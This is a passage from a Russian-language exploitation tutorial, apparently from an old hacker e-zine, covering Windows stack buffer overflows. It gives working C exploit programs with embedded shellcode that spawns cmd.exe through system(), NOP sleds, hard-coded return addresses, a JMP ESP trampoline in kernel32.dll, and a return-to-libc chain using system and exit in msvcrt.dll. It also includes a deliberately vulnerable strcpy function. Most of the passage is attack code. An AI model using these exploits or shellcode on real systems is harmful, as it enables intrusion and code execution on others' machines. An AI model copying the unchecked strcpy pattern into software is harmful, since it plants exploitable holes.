.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
"\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54"
"\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[100+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,104-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[strlen(buf)]=0x0012fd90;
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:...........
Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500];
В этом случае шеллкод придётся сохранять за [EIP]:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
fuck(argv[1]);
return 0;
}
.....:-[end of source code]-:...........
для этого нам уже нельзя использовать в качестве адреса возврата адрес, со-
держащий 0х00 байт. Что делать в этом случае? Если быть внимательным, то мо-
жно уловить нужную информацию из регистров:(при переполнении)
[HTML] EAX = 00000000 EBX = 7FFDF000
ECX = 00430EBC EDX = FDFD0044
ESI = 00000000 EDI = 0012FF80
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш
шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно):
0012FF30 41 41 ... 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT.
0012FF53 D8 05 ... 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm
0012FF76 64 C1 ... 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0...
А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод :)
Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адре-
су, заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль,
который всегда мелькает перед глазами - kernel32.dll (в нём и следует начать
искать данную инструкцию).
57: jmp esp
0040102E FF E4 jmp esp
вот эти байты нам нужно отыскать по адресу: 0x77F5800D+15.
.....:-[exploit code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
"\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0"
"\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77"
"\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[200+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,204-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[104]=(0x77F5800D+15);
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:.............
Это, на мой взгляд, исчерпывающая информация о переполнении буфера!
---| 0x04 Return-To-Function() (continuation of the programming) |----------
Эта технология эксплоитинга широко распространена в операционных системах,
где существует так называемая защита от всякого рода buffer overflow, etc ,
т.е. от выполнения шеллкода в стеке (non-exec stack). Мы не можем использо-
вать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо фу-
нкции (обычно это system(), по понятным причинам :). Как же это работает?
При вызове функции берётся адрес аргумента(ов) из стека (как это было видно
ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указываю-
щие на наши аргументы и дело в шляпе. Для system() - это адрес, где располо-
жена строка "cmd". Ед. проблема состоит в том, что опять же используемое
адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функ-
ции system из модуля...
Общий вид заполнения таков:
[OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC]
При этом адрес аргумента может содержаться в области 0х00XXXXXX (в нашем
случае, адрес "cmd"). Если мы хотим после system() вызвать exit(), то
заполнение будет следующее:
[OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG OF EXIT()]
Сначала вызывается System(), после Exit().
.....:-[exploit code с or с++]-:.........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
char aaa[20]="cmd\x00\x00\x00\x00\x00\x00";
long *p;
p=(long *)&system;
long *b;
b=(long *)&exit;
__asm {
mov dword ptr [ebp+4],0x00401280
mov dword ptr [ebp+8],0x004010f0
mov dword ptr [ebp+12],0x0012ff6c
mov dword ptr [ebp+16],0x00000000
}
return 0;}
Теперь допустим у нас есть уязвимая программа:
(ед. ньанс - уязвимая программа должна использовать модуль(библиотеку))
Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти "cmd"
где-нибудь в модуле например в msvcrt.dll есть "cmd" по адресу 0x77C01335!
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{ long sys_addr=0x77C18044;
long exit_addr=0x77C27ADC;
long cmd_addr=0x77C01335;
char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC";
*(long *)&cmd[strlen(cmd)]=sys_addr;
*(long *)&cmd[strlen(cmd)]=exit_addr;
*(long *)&cmd[strlen(cmd)]=cmd_addr;
system(cmd);
return 0;}
Для каждой версии msvcrt.dll (Windows) своё адресное пространство,
т.ч. нужно не забывать этот факт!